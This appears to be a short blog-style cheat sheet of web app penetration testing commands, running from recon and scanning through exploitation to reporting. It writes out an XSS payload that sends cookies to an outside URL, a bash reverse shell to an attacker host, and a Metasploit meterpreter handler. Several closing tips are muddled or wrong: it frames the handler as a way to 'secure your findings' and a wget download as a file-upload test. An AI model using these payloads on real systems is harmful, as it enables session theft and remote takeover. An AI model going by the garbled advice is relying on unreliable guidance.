Web App Pentesting Checklist: Essential Steps for Security Professionals

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You Should Know: Practical Web App Pentesting Commands & Techniques

1. Reconnaissance & Enumeration

  • Nmap Scan:
    nmap -sV -A -T4 target.com
    
  • Subdomain Enumeration:
    subfinder -d target.com -o subdomains.txt
    
  • Directory Bruteforcing:
    dirb http://target.com /usr/share/wordlists/dirb/common.txt
    

2. Vulnerability Scanning

  • Nikto Scan:
    nikto -h http://target.com
    
  • OWASP ZAP Automated Scan:
    zap-cli quick-scan http://target.com
    

3. Exploitation

  • SQL Injection Test:
    sqlmap -u "http://target.com/login.php?user=admin" --dbs
    
  • XSS Testing with XSS Hunter:
    <script>fetch('https://your-xss-hunter-url/?c='+document.cookie)</script>
    

4. Post-Exploitation

  • Reverse Shell (Netcat):
    nc -lvnp 4444
    

On the target (if vulnerable):

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

5. Reporting

  • Generate a report with Dradis Framework:
    dradis start
    

What Undercode Say

Web app pentesting requires a structured approach to identify vulnerabilities before attackers do. Always:
– Use Burp Suite for manual testing.
– Automate scans with Nessus or OpenVAS.
– Check for CORS Misconfigurations:

curl -H "Origin: evil.com" -I http://target.com

– Test File Upload Vulnerabilities:

wget http://target.com/uploads/malicious.php

– Validate JWT Tokens:

jwt_tool <JWT_TOKEN>

– Secure your findings with Metasploit:

msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST your-ip; run"

Expected Output: A comprehensive pentest report with PoC exploits, mitigation steps, and secured endpoints.

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